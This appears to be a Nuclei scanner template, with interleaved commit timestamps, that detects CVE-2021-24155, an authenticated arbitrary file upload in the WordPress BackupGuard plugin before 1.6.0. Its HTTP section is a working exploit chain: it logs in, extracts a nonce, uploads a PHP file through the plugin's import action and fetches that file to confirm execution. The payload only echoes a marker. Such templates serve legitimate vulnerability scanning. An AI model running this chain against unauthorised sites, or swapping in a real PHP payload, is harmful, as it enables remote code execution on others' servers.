2023-03-05 13:42:10 +00:00
id : CVE-2021-24155
info :
2023-03-27 17:46:47 +00:00
name : WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
2023-03-05 13:42:10 +00:00
author : theamanrawat
severity : high
description : |
2023-03-27 17:46:47 +00:00
WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
2023-03-05 13:42:10 +00:00
reference :
- https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb
- https://wordpress.org/plugins/backup/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24155
2023-04-12 10:55:48 +00:00
- http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html
2023-03-27 17:46:47 +00:00
remediation : Fixed in version 1.6.0.
2023-03-05 13:42:10 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.2
cve-id : CVE-2021-24155
cwe-id : CWE-434
2023-07-11 19:49:27 +00:00
epss-score : 0.95474
cpe : cpe:2.3:a:backup-guard:backup_guard:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 4
2023-06-04 08:13:42 +00:00
verified : true
2023-07-11 19:49:27 +00:00
framework : wordpress
vendor : backup-guard
product : backup_guard
tags : authenticated,wp,packetstorm,wp-plugin,cve2021,rce,wordpress,cve,backup,wpscan,intrusive
2023-03-05 13:42:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-05 13:42:10 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1
Host : {{Hostname}}
- |
POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/javascript, */*; q=0.01
Content-Type : multipart/form-data; boundary=---------------------------204200867127808062083805313921
-----------------------------204200867127808062083805313921
Content-Disposition : form-data; name="files[]"; filename="{{randstr}}.php"
Content-Type : application/x-php
2023-03-05 13:52:34 +00:00
<?php
2023-03-05 13:42:10 +00:00
echo "CVE-2021-24155";
? >
-----------------------------204200867127808062083805313921 --
- |
GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
2023-07-11 19:49:27 +00:00
req-condition : true
2023-03-05 13:42:10 +00:00
matchers-condition : and
matchers :
- type : dsl
dsl :
2023-06-19 21:10:30 +00:00
- contains(header_4, "text/html")
2023-03-05 13:42:10 +00:00
- status_code_4 == 200
- contains(body_3, '{\"success\":1}')
- contains(body_4, 'CVE-2021-24155')
condition : and
extractors :
- type : regex
name : nonce
group : 1
regex :
2023-07-11 19:49:27 +00:00
- BG_BACKUP_STRINGS = {"nonce":"([0-9a-zA-Z]+)"};
2023-03-05 13:42:10 +00:00
internal : true